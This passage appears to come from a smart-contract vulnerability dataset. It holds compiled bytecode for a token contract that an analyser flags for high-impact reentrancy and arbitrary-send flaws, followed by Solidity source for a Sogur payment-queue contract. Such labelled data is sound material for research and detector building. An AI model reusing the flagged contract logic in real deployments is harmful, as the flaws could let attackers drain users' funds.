11e1830610b7c565b9050601060169054906101000a900460ff16158015611e855750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611e9d5750601060149054906101000a900460ff165b15611f7b576000811115611f6157611efc6064611eee6005611ee0601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b7c565b61251e90919063ffffffff16565b61259990919063ffffffff16565b811115611f5757611f546064611f466005611f38601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b7c565b61251e90919063ffffffff16565b61259990919063ffffffff16565b90505b611f6081612224565b5b60004790506000811115611f7957611f78476120bb565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120245750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061203b5750601060159054906101000a900460ff165b1561204557600090505b61205184848484612641565b50505050565b600083831115829061209f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120969190613331565b60405180910390fd5b50600083856120ae91906136ca565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61210b60028461259990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612136573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61218760028461259990919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121b2573d6000803e3d6000fd5b5050565b60006007548211156121fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121f490613373565b60405180910390fd5b600061220761266e565b905061221c818461259990919063ffffffff16565b915050919050565b6001601060166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612282577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122b05781602001602082028036833780820191505090505b50905030816000815181106122ee577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561239057600080fd5b505afa1580156123a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123c89190612d9a565b81600181518110612402577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061246930600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461183a565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124cd9594939291906134ce565b600060405180830381600087803b1580156124e757600080fd5b505af11580156124fb573d6000803e3d6000fd5b50505050506000601060166101000a81548160ff02191690831515021790555050565b6000808314156125315760009050612593565b6000828461253f9190613670565b905082848261254e919061363f565b1461258e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612585906133d3565b60405180910390fd5b809150505b92915050565b60006125db83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612699565b905092915050565b60008082846125f291906135e9565b905083811015612637576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161262e906133b3565b60405180910390fd5b8091505092915050565b8061264f5761264e6126fc565b5b61265a84848461273f565b806126685761266761290a565b5b50505050565b600080600061267b61291e565b91509150612692818361259990919063ffffffff16565b9250505090565b600080831182906126e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126d79190613331565b60405180910390fd5b50600083856126ef919061363f565b9050809150509392505050565b600060095414801561271057506000600a54145b1561271a5761273d565b600954600b81905550600a54600c8190555060006009819055506000600a819055505b565b60008060008060008061275187612980565b9550955095509550955095506127af86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129e890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061284485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125e390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061289081612a32565b61289a8483612aef565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128f791906134b3565b60405180910390a3505050505050505050565b600b54600981905550600c54600a81905550565b600080600060075490506000683635c9adc5dea000009050612954683635c9adc5dea0000060075461259990919063ffffffff16565b82101561297357600754683635c9adc5dea0000093509350505061297c565b81819350935050505b9091565b600080600080600080600080600061299d8a600954600a54612b29565b92509250925060006129ad61266e565b905060008060006129c08e878787612bbf565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a2a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612057565b905092915050565b6000612a3c61266e565b90506000612a53828461251e90919063ffffffff16565b9050612aa781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125e390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612b04826007546129e890919063ffffffff16565b600781905550612b1f816008546125e390919063ffffffff16565b6008819055505050565b600080600080612b556064612b47888a61251e90919063ffffffff16565b61259990919063ffffffff16565b90506000612b7f6064612b71888b61251e90919063ffffffff16565b61259990919063ffffffff16565b90506000612ba882612b9a858c6129e890919063ffffffff16565b6129e890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bd8858961251e90919063ffffffff16565b90506000612bef868961251e90919063ffffffff16565b90506000612c06878961251e90919063ffffffff16565b90506000612c2f82612c2185876129e890919063ffffffff16565b6129e890919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612c5b612c5684613568565b613543565b90508083825260208201905082856020860282011115612c7a57600080fd5b60005b85811015612caa5781612c908882612cb4565b845260208401935060208301925050600181019050612c7d565b5050509392505050565b600081359050612cc381613b8f565b92915050565b600081519050612cd881613b8f565b92915050565b600081359050612ced81613ba6565b92915050565b600082601f830112612d0457600080fd5b8135612d14848260208601612c48565b91505092915050565b600081359050612d2c81613bbd565b92915050565b600081519050612d4181613bbd565b92915050565b600081359050612d5681613bd4565b92915050565b600081519050612d6b81613bd4565b92915050565b600060208284031215612d8357600080fd5b6000612d9184828501612cb4565b91505092915050565b600060208284031215612dac57600080fd5b6000612dba84828501612cc9565b91505092915050565b600060208284031215612dd557600080fd5b6000612de384828501612cde565b91505092915050565b60008060408385031215612dff57600080fd5b6000612e0d85828601612cb4565b9250506020612e1e85828601612cb4565b9150509250929050565b600080600060608486031215612e3d57600080fd5b6000612e4b86828701612cb4565b9350506020612e5c86828701612cb4565b9250506040612e6d86828701612d47565b9150509250925092565b60008060408385031215612e8a57600080fd5b6000612e9885828601612cb4565b9250506020612ea985828601612d47565b9150509250929050565b600060208284031215612ec557600080fd5b600082013567ffffffffffffffff811115612edf57600080fd5b612eeb84828501612cf3565b91505092915050565b600060208284031215612f0657600080fd5b6000612f1484828501612d1d565b91505092915050565b600060208284031215612f2f57600080fd5b6000612f3d84828501612d32565b91505092915050565b600060208284031215612f5857600080fd5b6000612f6684828501612d47565b91505092915050565b600080600060608486031215612f8457600080fd5b6000612f9286828701612d5c565b9350506020612fa386828701612d5c565b9250506040612fb486828701612d5c565b9150509250925092565b6000612fca8383612fd6565b60208301905092915050565b612fdf816136fe565b82525050565b612fee816136fe565b82525050565b6000612fff826135a4565b61300981856135c7565b935061301483613594565b8060005b8381101561304557815161302c8882612fbe565b9750613037836135ba565b925050600181019050613018565b5085935050505092915050565b61305b81613722565b82525050565b61306a81613765565b82525050565b600061307b826135af565b61308581856135d8565b9350613095818560208601613777565b61309e816138b1565b840191505092915050565b60006130b66023836135d8565b91506130c1826138c2565b604082019050919050565b60006130d9602a836135d8565b91506130e482613911565b604082019050919050565b60006130fc6022836135d8565b915061310782613960565b604082019050919050565b600061311f601b836135d8565b915061312a826139af565b602082019050919050565b60006131426021836135d8565b915061314d826139d8565b604082019050919050565b60006131656020836135d8565b915061317082613a27565b602082019050919050565b60006131886029836135d8565b915061319382613a50565b604082019050919050565b60006131ab6025836135d8565b91506131b682613a9f565b604082019050919050565b60006131ce6024836135d8565b91506131d982613aee565b604082019050919050565b60006131f16017836135d8565b91506131fc82613b3d565b602082019050919050565b60006132146018836135d8565b915061321f82613b66565b602082019050919050565b6132338161374e565b82525050565b61324281613758565b82525050565b600060208201905061325d6000830184612fe5565b92915050565b60006040820190506132786000830185612fe5565b6132856020830184612fe5565b9392505050565b60006040820190506132a16000830185612fe5565b6132ae602083018461322a565b9392505050565b600060c0820190506132ca6000830189612fe5565b6132d7602083018861322a565b6132e46040830187613061565b6132f16060830186613061565b6132fe6080830185612fe5565b61330b60a083018461322a565b979650505050505050565b600060208201905061332b6000830184613052565b92915050565b6000602082019050818103600083015261334b8184613070565b905092915050565b6000602082019050818103600083015261336c816130a9565b9050919050565b6000602082019050818103600083015261338c816130cc565b9050919050565b600060208201905081810360008301526133ac816130ef565b9050919050565b600060208201905081810360008301526133cc81613112565b9050919050565b600060208201905081810360008301526133ec81613135565b9050919050565b6000602082019050818103600083015261340c81613158565b9050919050565b6000602082019050818103600083015261342c8161317b565b9050919050565b6000602082019050818103600083015261344c8161319e565b9050919050565b6000602082019050818103600083015261346c816131c1565b9050919050565b6000602082019050818103600083015261348c816131e4565b9050919050565b600060208201905081810360008301526134ac81613207565b9050919050565b60006020820190506134c8600083018461322a565b92915050565b600060a0820190506134e3600083018861322a565b6134f06020830187613061565b81810360408301526135028186612ff4565b90506135116060830185612fe5565b61351e608083018461322a565b9695505050505050565b600060208201905061353d6000830184613239565b92915050565b600061354d61355e565b905061355982826137aa565b919050565b6000604051905090565b600067ffffffffffffffff82111561358357613582613882565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006135f48261374e565b91506135ff8361374e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561363457613633613824565b5b828201905092915050565b600061364a8261374e565b91506136558361374e565b92508261366557613664613853565b5b828204905092915050565b600061367b8261374e565b91506136868361374e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156136bf576136be613824565b5b828202905092915050565b60006136d58261374e565b91506136e08361374e565b9250828210156136f3576136f2613824565b5b828203905092915050565b60006137098261372e565b9050919050565b600061371b8261372e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006137708261374e565b9050919050565b60005b8381101561379557808201518184015260208101905061377a565b838111156137a4576000848401525b50505050565b6137b3826138b1565b810181811067ffffffffffffffff821117156137d2576137d1613882565b5b80604052505050565b60006137e68261374e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561381957613818613824565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b613b98816136fe565b8114613ba357600080fd5b50565b613baf81613710565b8114613bba57600080fd5b50565b613bc681613722565b8114613bd157600080fd5b50565b613bdd8161374e565b8114613be857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220651164b9e7577eab4de7861aad35c10e6ba2ffffa3ca5a1d59eaf356796d769364736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,926 |
0xb0aaf76c7966872a8c4aad71bc7b29129d1695c1 | pragma solidity 0.4.25;
// File: contracts/sogur/interfaces/IPaymentQueue.sol
/**
* @title Payment Queue Interface.
*/
interface IPaymentQueue {
/**
* @dev Retrieve the current number of payments.
* @return The current number of payments.
*/
function getNumOfPayments() external view returns (uint256);
/**
* @dev Retrieve the sum of all payments.
* @return The sum of all payments.
*/
function getPaymentsSum() external view returns (uint256);
/**
* @dev Retrieve the details of a payment.
* @param _index The index of the payment.
* @return The payment wallet address and amount.
*/
function getPayment(uint256 _index) external view returns (address, uint256);
/**
* @dev Add a new payment.
* @param _wallet The payment wallet address.
* @param _amount The payment amount.
*/
function addPayment(address _wallet, uint256 _amount) external;
/**
* @dev Update the first payment.
* @param _amount The new payment amount.
*/
function updatePayment(uint256 _amount) external;
/**
* @dev Remove the first payment.
*/
function removePayment() external;
}
// File: contracts/sogur/interfaces/ISGRAuthorizationManager.sol
/**
* @title SGR Authorization Manager Interface.
*/
interface ISGRAuthorizationManager {
/**
* @dev Determine whether or not a user is authorized to buy SGR.
* @param _sender The address of the user.
* @return Authorization status.
*/
function isAuthorizedToBuy(address _sender) external view returns (bool);
/**
* @dev Determine whether or not a user is authorized to sell SGR.
* @param _sender The address of the user.
* @return Authorization status.
*/
function isAuthorizedToSell(address _sender) external view returns (bool);
/**
* @dev Determine whether or not a user is authorized to transfer SGR to another user.
* @param _sender The address of the source user.
* @param _target The address of the target user.
* @return Authorization status.
*/
function isAuthorizedToTransfer(address _sender, address _target) external view returns (bool);
/**
* @dev Determine whether or not a user is authorized to transfer SGR from one user to another user.
* @param _sender The address of the custodian user.
* @param _source The address of the source user.
* @param _target The address of the target user.
* @return Authorization status.
*/
function isAuthorizedToTransferFrom(address _sender, address _source, address _target) external view returns (bool);
/**
* @dev Determine whether or not a user is authorized for public operation.
* @param _sender The address of the user.
* @return Authorization status.
*/
function isAuthorizedForPublicOperation(address _sender) external view returns (bool);
}
// File: contracts/contract_address_locator/interfaces/IContractAddressLocator.sol
/**
* @title Contract Address Locator Interface.
*/
interface IContractAddressLocator {
/**
* @dev Get the contract address mapped to a given identifier.
* @param _identifier The identifier.
* @return The contract address.
*/
function getContractAddress(bytes32 _identifier) external view returns (address);
/**
* @dev Determine whether or not a contract address relates to one of the identifiers.
* @param _contractAddress The contract address to look for.
* @param _identifiers The identifiers.
* @return A boolean indicating if the contract address relates to one of the identifiers.
*/
function isContractAddressRelates(address _contractAddress, bytes32[] _identifiers) external view returns (bool);
}
// File: contracts/contract_address_locator/ContractAddressLocatorHolder.sol
/**
* @title Contract Address Locator Holder.
* @dev Hold a contract address locator, which maps a unique identifier to every contract address in the system.
* @dev Any contract which inherits from this contract can retrieve the address of any contract in the system.
* @dev Thus, any contract can remain "oblivious" to the replacement of any other contract in the system.
* @dev In addition to that, any function in any contract can be restricted to a specific caller.
*/
contract ContractAddressLocatorHolder {
bytes32 internal constant _IAuthorizationDataSource_ = "IAuthorizationDataSource";
bytes32 internal constant _ISGNConversionManager_ = "ISGNConversionManager" ;
bytes32 internal constant _IModelDataSource_ = "IModelDataSource" ;
bytes32 internal constant _IPaymentHandler_ = "IPaymentHandler" ;
bytes32 internal constant _IPaymentManager_ = "IPaymentManager" ;
bytes32 internal constant _IPaymentQueue_ = "IPaymentQueue" ;
bytes32 internal constant _IReconciliationAdjuster_ = "IReconciliationAdjuster" ;
bytes32 internal constant _IIntervalIterator_ = "IIntervalIterator" ;
bytes32 internal constant _IMintHandler_ = "IMintHandler" ;
bytes32 internal constant _IMintListener_ = "IMintListener" ;
bytes32 internal constant _IMintManager_ = "IMintManager" ;
bytes32 internal constant _IPriceBandCalculator_ = "IPriceBandCalculator" ;
bytes32 internal constant _IModelCalculator_ = "IModelCalculator" ;
bytes32 internal constant _IRedButton_ = "IRedButton" ;
bytes32 internal constant _IReserveManager_ = "IReserveManager" ;
bytes32 internal constant _ISagaExchanger_ = "ISagaExchanger" ;
bytes32 internal constant _ISogurExchanger_ = "ISogurExchanger" ;
bytes32 internal constant _SgnToSgrExchangeInitiator_ = "SgnToSgrExchangeInitiator" ;
bytes32 internal constant _IMonetaryModel_ = "IMonetaryModel" ;
bytes32 internal constant _IMonetaryModelState_ = "IMonetaryModelState" ;
bytes32 internal constant _ISGRAuthorizationManager_ = "ISGRAuthorizationManager";
bytes32 internal constant _ISGRToken_ = "ISGRToken" ;
bytes32 internal constant _ISGRTokenManager_ = "ISGRTokenManager" ;
bytes32 internal constant _ISGRTokenInfo_ = "ISGRTokenInfo" ;
bytes32 internal constant _ISGNAuthorizationManager_ = "ISGNAuthorizationManager";
bytes32 internal constant _ISGNToken_ = "ISGNToken" ;
bytes32 internal constant _ISGNTokenManager_ = "ISGNTokenManager" ;
bytes32 internal constant _IMintingPointTimersManager_ = "IMintingPointTimersManager" ;
bytes32 internal constant _ITradingClasses_ = "ITradingClasses" ;
bytes32 internal constant _IWalletsTradingLimiterValueConverter_ = "IWalletsTLValueConverter" ;
bytes32 internal constant _BuyWalletsTradingDataSource_ = "BuyWalletsTradingDataSource" ;
bytes32 internal constant _SellWalletsTradingDataSource_ = "SellWalletsTradingDataSource" ;
bytes32 internal constant _WalletsTradingLimiter_SGNTokenManager_ = "WalletsTLSGNTokenManager" ;
bytes32 internal constant _BuyWalletsTradingLimiter_SGRTokenManager_ = "BuyWalletsTLSGRTokenManager" ;
bytes32 internal constant _SellWalletsTradingLimiter_SGRTokenManager_ = "SellWalletsTLSGRTokenManager" ;
bytes32 internal constant _IETHConverter_ = "IETHConverter" ;
bytes32 internal constant _ITransactionLimiter_ = "ITransactionLimiter" ;
bytes32 internal constant _ITransactionManager_ = "ITransactionManager" ;
bytes32 internal constant _IRateApprover_ = "IRateApprover" ;
bytes32 internal constant _SGAToSGRInitializer_ = "SGAToSGRInitializer" ;
IContractAddressLocator private contractAddressLocator;
/**
* @dev Create the contract.
* @param _contractAddressLocator The contract address locator.
*/
constructor(IContractAddressLocator _contractAddressLocator) internal {
require(_contractAddressLocator != address(0), "locator is illegal");
contractAddressLocator = _contractAddressLocator;
}
/**
* @dev Get the contract address locator.
* @return The contract address locator.
*/
function getContractAddressLocator() external view returns (IContractAddressLocator) {
return contractAddressLocator;
}
/**
* @dev Get the contract address mapped to a given identifier.
* @param _identifier The identifier.
* @return The contract address.
*/
function getContractAddress(bytes32 _identifier) internal view returns (address) {
return contractAddressLocator.getContractAddress(_identifier);
}
/**
* @dev Determine whether or not the sender relates to one of the identifiers.
* @param _identifiers The identifiers.
* @return A boolean indicating if the sender relates to one of the identifiers.
*/
function isSenderAddressRelates(bytes32[] _identifiers) internal view returns (bool) {
return contractAddressLocator.isContractAddressRelates(msg.sender, _identifiers);
}
/**
* @dev Verify that the caller is mapped to a given identifier.
* @param _identifier The identifier.
*/
modifier only(bytes32 _identifier) {
require(msg.sender == getContractAddress(_identifier), "caller is illegal");
_;
}
}
// File: openzeppelin-solidity/contracts/math/Math.sol
/**
* @title Math
* @dev Assorted math operations
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Calculates the average of two numbers. Since these are integers,
* averages of an even and odd number cannot be represented, and will be
* rounded down.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: contracts/sogur/PaymentQueue.sol
/**
* Details of usage of licenced software see here: https://www.sogur.com/software/readme_v1
*/
/**
* @title Payment Queue.
*/
contract PaymentQueue is IPaymentQueue, ContractAddressLocatorHolder {
string public constant VERSION = "2.0.0";
using SafeMath for uint256;
struct Payment {
address wallet;
uint256 amount;
}
Payment[] public payments;
uint256 public first;
uint256 public last;
uint256 public sum = 0;
/**
* @dev Create the contract.
* @param _contractAddressLocator The contract address locator.
*/
constructor(IContractAddressLocator _contractAddressLocator) ContractAddressLocatorHolder(_contractAddressLocator) public {}
/**
* @dev Return the contract which implements the ISGRAuthorizationManager interface.
*/
function getSGRAuthorizationManager() public view returns (ISGRAuthorizationManager) {
return ISGRAuthorizationManager(getContractAddress(_ISGRAuthorizationManager_));
}
/**
* @dev assert if called when the queue is empty.
*/
modifier assertNonEmpty() {
assert(last > 0);
_;
}
/**
* @dev Retrieve the current number of payments.
* @return The current number of payments.
*/
function getNumOfPayments() external view returns (uint256) {
return last.sub(first);
}
/**
* @dev Retrieve the sum of all payments.
* @return The sum of all payments.
*/
function getPaymentsSum() external view returns (uint256) {
return sum;
}
/**
* @dev Retrieve the details of a payment.
* @param _index The index of the payment.
* @return The payment's wallet address and amount.
*/
function getPayment(uint256 _index) external view assertNonEmpty returns (address, uint256) {
require(last.sub(first) > _index, "index out of range");
Payment memory payment = payments[first.add(_index)];
return (payment.wallet, payment.amount);
}
/**
* @dev Add a new payment.
* @param _wallet The payment wallet address.
* @param _amount The payment amount.
*/
function addPayment(address _wallet, uint256 _amount) external only(_IPaymentManager_) {
assert(_wallet != address(0) && _amount > 0);
Payment memory newPayment = Payment({wallet : _wallet, amount : _amount});
if (payments.length > last)
payments[last] = newPayment;
else
payments.push(newPayment);
sum = sum.add(_amount);
last = last.add(1);
}
/**
* @dev Update the first payment.
* @param _amount The new payment amount.
*/
function updatePayment(uint256 _amount) external only(_IPaymentManager_) assertNonEmpty {
assert(_amount > 0);
sum = (sum.add(_amount)).sub(payments[first].amount);
payments[first].amount = _amount;
}
/**
* @dev Remove the first payment.
*/
function removePayment() external only(_IPaymentManager_) assertNonEmpty {
sum = sum.sub(payments[first].amount);
payments[first] = Payment({wallet : address(0), amount : 0});
uint256 newFirstPosition = first.add(1);
if (newFirstPosition == last)
first = last = 0;
else
first = newFirstPosition;
}
/**
* @dev Clean the queue.
* @param _maxCleanLength The maximum payments to clean.
*/
function clean(uint256 _maxCleanLength) external {
require(getSGRAuthorizationManager().isAuthorizedForPublicOperation(msg.sender), "clean queue is not authorized");
uint256 paymentsQueueLength = payments.length;
if (paymentsQueueLength > last) {
uint256 totalPaymentsToClean = paymentsQueueLength.sub(last);
payments.length = (totalPaymentsToClean < _maxCleanLength) ? last : paymentsQueueLength.sub(_maxCleanLength);
}
}
} | 0x6080604052600436106100ce5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041662b469c681146100d357806328e34d94146100fa5780633280a836146101385780633df4ddf41461018057806347799da814610195578063674ef0fa146101aa57806374f1649a146101c4578063853255cc146101d957806385bac237146101ee57806387d817891461021f57806389cc304d1461023757806394c8dcb11461024c578063a03a824714610261578063ffa1ad7414610279575b600080fd5b3480156100df57600080fd5b506100e8610303565b60408051918252519081900360200190f35b34801561010657600080fd5b5061010f61030a565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b34801561014457600080fd5b5061015060043561033a565b6040805173ffffffffffffffffffffffffffffffffffffffff909316835260208301919091528051918290030190f35b34801561018c57600080fd5b506100e8610444565b3480156101a157600080fd5b506100e861044a565b3480156101b657600080fd5b506101c2600435610450565b005b3480156101d057600080fd5b5061010f6105e6565b3480156101e557600080fd5b506100e8610602565b3480156101fa57600080fd5b506101c273ffffffffffffffffffffffffffffffffffffffff60043516602435610608565b34801561022b57600080fd5b50610150600435610873565b34801561024357600080fd5b506101c26108b6565b34801561025857600080fd5b506100e8610a62565b34801561026d57600080fd5b506101c2600435610a7b565b34801561028557600080fd5b5061028e610bb3565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102c85781810151838201526020016102b0565b50505050905090810190601f1680156102f55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6004545b90565b60006103357f49534752417574686f72697a6174696f6e4d616e616765720000000000000000610bea565b905090565b600080610345610cc0565b60035460001061035157fe5b83610369600254600354610c9090919063ffffffff16565b116103d557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f696e646578206f7574206f662072616e67650000000000000000000000000000604482015290519081900360640190fd5b6002546001906103eb908663ffffffff610ca716565b815481106103f557fe5b600091825260209182902060408051808201909152600290920201805473ffffffffffffffffffffffffffffffffffffffff168083526001909101549282018390529450909250905050915091565b60025481565b60035481565b60008061045b61030a565b73ffffffffffffffffffffffffffffffffffffffff16637916910e336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156104f557600080fd5b505af1158015610509573d6000803e3d6000fd5b505050506040513d602081101561051f57600080fd5b5051151561058e57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f636c65616e207175657565206973206e6f7420617574686f72697a6564000000604482015290519081900360640190fd5b6001546003549092508211156105e1576003546105b290839063ffffffff610c9016565b90508281106105d0576105cb828463ffffffff610c9016565b6105d4565b6003545b6105df600182610cd7565b505b505050565b60005473ffffffffffffffffffffffffffffffffffffffff1690565b60045481565b610610610cc0565b7f495061796d656e744d616e61676572000000000000000000000000000000000061063a81610bea565b73ffffffffffffffffffffffffffffffffffffffff1633146106bd57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f63616c6c657220697320696c6c6567616c000000000000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff8416158015906106e25750600083115b15156106ea57fe5b6040805180820190915273ffffffffffffffffffffffffffffffffffffffff851681526020810184905260035460015491935010156107995781600160035481548110151561073557fe5b600091825260209182902083516002929092020180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff909216919091178155910151600190910155610840565b60018054808201825560009190915282517fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6600290920291820180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff90921691909117905560208301517fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf7909101555b600454610853908463ffffffff610ca716565b60045560035461086a90600163ffffffff610ca716565b60035550505050565b600180548290811061088157fe5b60009182526020909120600290910201805460019091015473ffffffffffffffffffffffffffffffffffffffff909116915082565b60007f495061796d656e744d616e6167657200000000000000000000000000000000006108e281610bea565b73ffffffffffffffffffffffffffffffffffffffff16331461096557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f63616c6c657220697320696c6c6567616c000000000000000000000000000000604482015290519081900360640190fd5b60035460001061097157fe5b6109a8600160025481548110151561098557fe5b906000526020600020906002020160010154600454610c9090919063ffffffff16565b60045560408051808201909152600080825260208201526002546001805490919081106109d157fe5b6000918